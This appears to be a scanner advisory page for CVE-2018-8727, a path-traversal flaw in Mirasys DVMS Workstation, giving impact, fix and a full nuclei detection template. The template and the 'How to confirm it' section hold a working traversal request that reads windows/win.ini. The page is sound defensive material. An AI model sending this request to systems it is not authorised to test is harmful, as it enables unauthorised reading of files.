Mirasys DVMS Workstation <=5.12.6 - Local File Inclusion

highseverity

7.5CVSS score

7.9%likelihood of exploitation, next 30 days

95%of all CVEs are less likely

Readycheck to confirm it

Mirasys DVMS Workstation versions 5.12.6 and prior suffer from local file inclusion vulnerabilities.

Impact

An attacker can exploit this vulnerability to gain unauthorized access to sensitive information, potentially leading to further compromise of the system.

Fix

Upgrade to a patched version of Mirasys DVMS Workstation (>=5.12.7) to mitigate the LFI vulnerability.

How to confirm it

Send: GET {{BaseURL}}/.../.../.../.../.../.../.../.../.../windows/win.ini
Positive when: contains "bit app support" and "fonts" and "extensions"

Run it with nuclei: nuclei -id CVE-2018-8727 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2018-8727

info:
  name: Mirasys DVMS Workstation <=5.12.6 - Local File Inclusion
  author: 0x_akoko
  severity: high
  description: |
    Mirasys DVMS Workstation versions 5.12.6 and prior suffer from local file inclusion vulnerabilities.
  impact: |
    An attacker can exploit this vulnerability to gain unauthorized access to sensitive information, potentially leading to further compromise of the system.
  remediation: |
    Upgrade to a patched version of Mirasys DVMS Workstation (>=5.12.7) to mitigate the LFI vulnerability.
  reference:
    - https://packetstormsecurity.com/files/148266/Mirasys-DVMS-Workstation-5.12.6-Path-Traversal.html
    - https://www.onvio.nl/nieuws/cve-mirasys-vulnerability
    - https://nvd.nist.gov/vuln/detail/CVE-2018-8727
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2018-8727
    cwe-id: CWE-22
    epss-score: 0.07948
    epss-percentile: 0.94786
    cpe: cpe:2.3:a:mirasys:dvms_workstation:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: mirasys
    product: dvms_workstation
  tags: cve,cve2018,mirasys,lfi,packetstorm,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/.../.../.../.../.../.../.../.../.../windows/win.ini"

    matchers:
      - type: word
        part: body
        words:
          - "bit app support"
          - "fonts"
          - "extensions"
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from